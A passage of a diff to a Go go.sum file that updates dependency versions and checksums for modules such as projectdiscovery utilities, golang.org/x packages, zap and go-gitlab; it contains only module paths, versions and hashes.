h1:dQO4FNxOhkZqZHW5nUh6f1NXIRUyoZ57bXETXjsyfNk= github.com/projectdiscovery/sliceutil v0.0.0-20220511171050-c7d9bc5cadd9/go.mod h1:crCchiT/KYrAlEY8JbuMGE6XKym61mhAd1E7REq2VwQ= +github.com/projectdiscovery/sliceutil v0.0.0-20220625085859-c3a4ecb669f4 h1:C04j5gVVMXqFyBIetAz92SyPRYCpkFgIwZw0L/pps9Q= +github.com/projectdiscovery/sliceutil v0.0.0-20220625085859-c3a4ecb669f4/go.mod h1:RxDaccMjPzIuF7F8XbdGl1yOcqxN4YPiHr9xHpfCkGI= github.com/projectdiscovery/stringsutil v0.0.0-20210524051937-51dabe3b72c0/go.mod h1:TVSdZC0rRQeMIbsNSiGPhbmhyRtxqqtAGA9JiiNp2r4= github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe/go.mod h1:oTRc18WBv9t6BpaN9XBY+QmG28PUpsyDzRht56Qf49I= github.com/projectdiscovery/stringsutil v0.0.0-20210823090203-2f5f137e8e1d/go.mod h1:oTRc18WBv9t6BpaN9XBY+QmG28PUpsyDzRht56Qf49I= github.com/projectdiscovery/stringsutil v0.0.0-20210830151154-f567170afdd9/go.mod h1:oTRc18WBv9t6BpaN9XBY+QmG28PUpsyDzRht56Qf49I= +github.com/projectdiscovery/stringsutil v0.0.0-20220120150443-138d7af18587/go.mod h1:oTRc18WBv9t6BpaN9XBY+QmG28PUpsyDzRht56Qf49I= github.com/projectdiscovery/stringsutil v0.0.0-20220422150559-b54fb5dc6833/go.mod h1:oTRc18WBv9t6BpaN9XBY+QmG28PUpsyDzRht56Qf49I= github.com/projectdiscovery/stringsutil v0.0.0-20220612082425-0037ce9f89f3/go.mod h1:mF5sh4jTghoGWwgUb9qWi5waTFklClDbtrqtJU93awc= github.com/projectdiscovery/stringsutil v0.0.0-20220712170325-48c50c332cb4 h1:vm7ckAKkqFkJfh2+yYYW/Xr+GS2prGpQ4JlbwKkf4lU= @@ -725,8 +736,8 @@ github.com/projectdiscovery/urlutil v0.0.0-20210525140139-b874f06ad921/go.mod h1 github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1 h1:9dYmONRtwy+xP8UAGHxEQ0cxO3umc9qiFmnYsoDUps4= github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1/go.mod h1:oXLErqOpqEAp/ueQlknysFxHO3CUNoSiDNnkiHG+Jpo= github.com/projectdiscovery/wappalyzergo v0.0.51/go.mod h1:1LQBGQVW47tMHxGTxmBK+pAwfsWKSLQMXt/egxGlljo= -github.com/projectdiscovery/wappalyzergo v0.0.52 h1:AbM+4KEikwgxpeoWg4Gf4KPxkXAeLHSpWyUaNcaW+sQ= -github.com/projectdiscovery/wappalyzergo v0.0.52/go.mod h1:1LQBGQVW47tMHxGTxmBK+pAwfsWKSLQMXt/egxGlljo= +github.com/projectdiscovery/wappalyzergo v0.0.55 h1:dDWuohTrAUWrphnFB+uAL33QrDWBbdM+z7sTzSxy8PY= +github.com/projectdiscovery/wappalyzergo v0.0.55/go.mod h1:9aSADdt5z/pw9LFZF7Q8RrLnkyqZl1H4Ezivi8Td7l0= github.com/projectdiscovery/yamldoc-go v1.0.2/go.mod h1:7uSxfMXaBmzvw8m5EhOEjB6nhz0rK/H9sUjq1ciZu24= github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6 h1:DvWRQpw7Ib2CRL3ogYm/BWM+X0UGPfz1n9Ix9YKgFM8= github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6/go.mod h1:8OfZj8p/axkUM/TJoS/O9LDjj/S8u17rxRbqluE9CU4= @@ -740,8 +751,9 @@ github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6L github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.6.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= +github.com/rogpeppe/go-internal v1.8.1 h1:geMPLpDpQOgVyCg5z5GoRwLHepNdb71NXb67XFkP+Eg= +github.com/rogpeppe/go-internal v1.8.1/go.mod h1:JeRgkft04UBgHMgCIwADu4Pn6Mtm5d4nPKWu0nJ5d+o= github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/xid v1.4.0 h1:qd7wPTDkN6KQx2VmMBLrpHkiyQwgFXRnkOLacUiaSNY= github.com/rs/xid v1.4.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= @@ -861,13 +873,18 @@ github.com/valyala/fasttemplate v1.2.1 h1:TVEnxayobAdVkhQfrfes2IzOB6o+z4roRkPF52 github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= github.com/vmihailenco/msgpack/v4 v4.3.12/go.mod h1:gborTTJjAo/GWTqqRjrLCn9pgNN+NXzzngzBKDPIqw4= github.com/vmihailenco/tagparser v0.1.1/go.mod h1:OeAg3pn3UbLjkWt+rN9oFYB6u/cQgqMEUPoW2WPyhdI= -github.com/weppos/publicsuffix-go v0.15.1-0.20210928183822-5ee35905bd95 h1:DyAZOw3JsVd6LJHqhl4MpKQdYQEmat0C6pPPwom39Ow= +github.com/weppos/publicsuffix-go v0.12.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k= github.com/weppos/publicsuffix-go v0.15.1-0.20210928183822-5ee35905bd95/go.mod h1:HYux0V0Zi04bHNwOHy4cXJVz/TQjYonnF6aoYhj+3QE= +github.com/weppos/publicsuffix-go v0.15.1-0.20220724114530-e087fba66a37/go.mod h1:5ZC/Uv3fIEUE0eP6o9+Yg4+5+W8V0/BieMi05feGXVA= +github.com/weppos/publicsuffix-go v0.20.0 h1:59ypvSUbW3Dunc6zVm+v+MmXf2Q6cGiNDkxgRIzEnaA= +github.com/weppos/publicsuffix-go v0.20.0/go.mod h1:5ZC/Uv3fIEUE0eP6o9+Yg4+5+W8V0/BieMi05feGXVA= +github.com/weppos/publicsuffix-go/publicsuffix/generator v0.0.0-20220704091424-e0182326a282/go.mod h1:GHfoeIdZLdZmLjMlzBftbTDntahTttUMWjxZwQJhULE= github.com/wsxiaoys/terminal v0.0.0-20160513160801-0940f3fc43a0 h1:3UeQBvD0TFrlVjOeLOBz+CPAI8dnbqNSVwUwRrkp7vQ= github.com/wsxiaoys/terminal v0.0.0-20160513160801-0940f3fc43a0/go.mod h1:IXCdmsXIht47RaVFLEdVnh1t+pgYtTAhQGj73kz+2DM= github.com/xanzy/go-gitlab v0.50.3/go.mod h1:Q+hQhV508bDPoBijv7YjK/Lvlb4PhVhJdKqXVQrUoAE= -github.com/xanzy/go-gitlab v0.69.0 h1:sPci9xHzlX+lcJvPqNu3y3BQpePuR2R694Bal4AeyB8= github.com/xanzy/go-gitlab v0.69.0/go.mod h1:o4yExCtdaqlM8YGdDJWuZoBmfxBsmA9TPEjs9mx1UO4= +github.com/xanzy/go-gitlab v0.72.0 h1:/9BQTftUE7GRK/RO1eeWxG1cOE+tjwBrvRdpkeSOq6w= +github.com/xanzy/go-gitlab v0.72.0/go.mod h1:d/a0vswScO7Agg1CZNz15Ic6SSvBG9vfw8egL99t4kA= github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.0.2 h1:akYIkZ28e6A96dkWNJQu3nmCzH3YfwMPQExUYDaRv7w= @@ -888,8 +905,9 @@ github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ= github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18= github.com/ysmood/got v0.9.3/go.mod h1:pE1l4LOwOBhQg6A/8IAatkGp7uZjnalzrZolnlhhMgY= github.com/ysmood/got v0.14.1/go.mod h1:pE1l4LOwOBhQg6A/8IAatkGp7uZjnalzrZolnlhhMgY= -github.com/ysmood/got v0.31.2 h1:+aNBkkXrVqZ0UJfeiOfuGbKq3kiJarjNl371Nxz6zLA= github.com/ysmood/got v0.31.2/go.mod h1:pE1l4LOwOBhQg6A/8IAatkGp7uZjnalzrZolnlhhMgY= +github.com/ysmood/got v0.31.3 h1:UvvF+TDVsZLO7MSzm/Bd/H4HVp+7S5YwsxgdwaKq8uA= +github.com/ysmood/got v0.31.3/go.mod h1:pE1l4LOwOBhQg6A/8IAatkGp7uZjnalzrZolnlhhMgY= github.com/ysmood/gotrace v0.2.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM= github.com/ysmood/gotrace v0.2.2/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM= github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY= @@ -907,15 +925,18 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= github.com/zclconf/go-cty v1.8.4/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk= github.com/zclconf/go-cty v1.10.0/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk= -github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521 h1:kKCF7VX/wTmdg2ZjEaqlq99Bjsoiz7vH6sFniF/vI4M= github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= +github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 h1:Nzukz5fNOBIHOsnP+6I79kPx3QhLv8nBy2mfFhBRq30= +github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= github.com/zmap/zcertificate v0.0.0-20180516150559-0e3d58b1bac4/go.mod h1:5iU54tB79AMBcySS0R2XIyZBAVmeHranShAFELYx7is= -github.com/zmap/zcrypto v0.0.0-20211005224000-2d0ffdec8a9b h1:iYQzlljG1dOXBtsJGyzFC/wBK5qUCWs1eLCr/UcJYPA= github.com/zmap/zcrypto v0.0.0-20211005224000-2d0ffdec8a9b/go.mod h1:5nID//bFGkx3/+iHcFIFRHQ54EOPJ0iSj0IGKpMElvw= +github.com/zmap/zcrypto v0.0.0-20220803033029-557f3e4940be h1:M5QjuCbUeNZsup53dlJkI/cx6pVdnDOPzyy+XppoowY= +github.com/zmap/zcrypto v0.0.0-20220803033029-557f3e4940be/go.mod h1:bRZdjnJaHWVXKEwrfAZMd0gfRjZGNhTbZwzp07s0Abw= go.etcd.io/bbolt v1.3.5/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ= go.etcd.io/bbolt v1.3.6 h1:/ecaJf0sk1l4l6V4awd65v2C3ILy7MSj+s/x1ADCIMU= go.etcd.io/bbolt v1.3.6/go.mod h1:qXsaaIqmgQH0T+OPdb99Bf+PKfBBQVAdyD6TY9G8XM4= @@ -930,8 +951,9 @@ go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= -go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE= go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/atomic v1.10.0 h1:9qC72Qh0+3MqyJbAn8YU5xVq1frD8bn3JtD2oXtafVQ= +go.uber.org/atomic v1.10.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= go.uber.org/goleak v1.1.11 h1:wy28qYRKZgnJTxGxvye5/wgWr1EKjmUDGYox5mGlRlI= go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= @@ -943,8 +965,9 @@ go.uber.org/ratelimit v0.2.0 h1:UQE2Bgi7p2B85uP5dC2bbRtig0C+OeNRnNEafLjsLPA= go.uber.org/ratelimit v0.2.0/go.mod h1:YYBV4e4naJvhpitQrWJu1vCpgB7CboMe0qhltKt6mUg= go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.15.0/go.mod h1:Mb2vm2krFEG5DV0W9qcHBYFtp/Wku1cvYaqPsS/WYfc= -go.uber.org/zap v1.21.0 h1:WefMeulhovoZ2sYXz7st6K0sLj7bBhpiFaud4r4zST8= go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= +go.uber.org/zap v1.22.0 h1:Zcye5DUgBloQ9BaT4qc9BnjOFog5TvBSAGkJ3Nf70c0= +go.uber.org/zap v1.22.0/go.mod h1:H4siCOZOrAolnUPJEkfaSjDqyP+BDS0DdDWzwcgt3+U= goftp.io/server/v2 v2.0.0 h1:FF8JKXXKDxAeO1uXEZz7G+IZwCDhl19dpVIlDtp3QAg= goftp.io/server/v2 v2.0.0/go.mod h1:7+H/EIq7tXdfo1Muu5p+l3oQ6rYkDZ8lY7IM5d5kVdQ= golang.org/x/arch v0.0.0-20180920145803-b19384d3c130/go.mod h1:cYlCBUl1MsqxdiKgmc4uh7TxZfWSFLOGSRR090WDxt8= @@ -967,8 +990,8 @@ golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.0.0-20220210151621-f4118a5b28e2/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4 h1:kUhD7nTDoI3fVd9G4ORWrbV5NY0liEs/Jg2pv5f+bBA= -golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa h1:zuSxTR4o9y82ebqCUJYNGJbGPo6sKVl54f/TVDObg1c= +golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -1002,8 +1025,10 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -1054,14 +1079,17 @@ golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qx golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220121210141-e204ce36a2ba/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220615171555-694bf12d69de/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220728211354-c7608f3a8462 h1:UreQrH7DbFXSi9ZFox6FNT3WBooWmdANpU+IfkT1T4I= -golang.org/x/net v0.0.0-20220728211354-c7608f3a8462/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20220630215102-69896b714898/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220812174116-3211cb980234 h1:RDqmgfe7SvlMWoqC3xwQ2blLO3fcWcxMa3eBLRdRW7E= +golang.org/x/net v0.0.0-20220812174116-3211cb980234/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -1073,8 +1101,9 @@ golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210817223510-7df4dd6e12ab/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5 h1:OSnWWcOd/CtWQC2cYSBgbTSJv3ciqd8r54ySIW2y3RE= golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220722155238-128564f6959c h1:q3gFqPqH7NVofKo3c3yETAP//pPI+G5mvB7qqj1Y5kY= +golang.org/x/oauth2 v0.0.0-20220722155238-128564f6959c/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1085,8 +1114,9 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 h1:uVc8UZUe6tr40fFVnUP5Oj+veunVezqYl9z7DYw9xzw= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180903190138-2b024373dcd9/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -1152,12 +1182,15 @@ golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210915083310-ed5796bab164/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10 h1:WIoqL4EROvwiPdUtaip4VcDdpZ4kha7wBWZrbVKCIZg= -golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab h1:2QkjZIsXupsJbJIdSjjUOgWK3aEtzyuh2mPt3l/CkeU= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= @@ -1176,8 +1209,9 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20220411224347-583f2d630306 h1:+gHMid33q6pen7kv9xvT+JRinntgeXO2AeZVd0AWD3w= golang.org/x/time v0.0.0-20220411224347-583f2d630306/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time 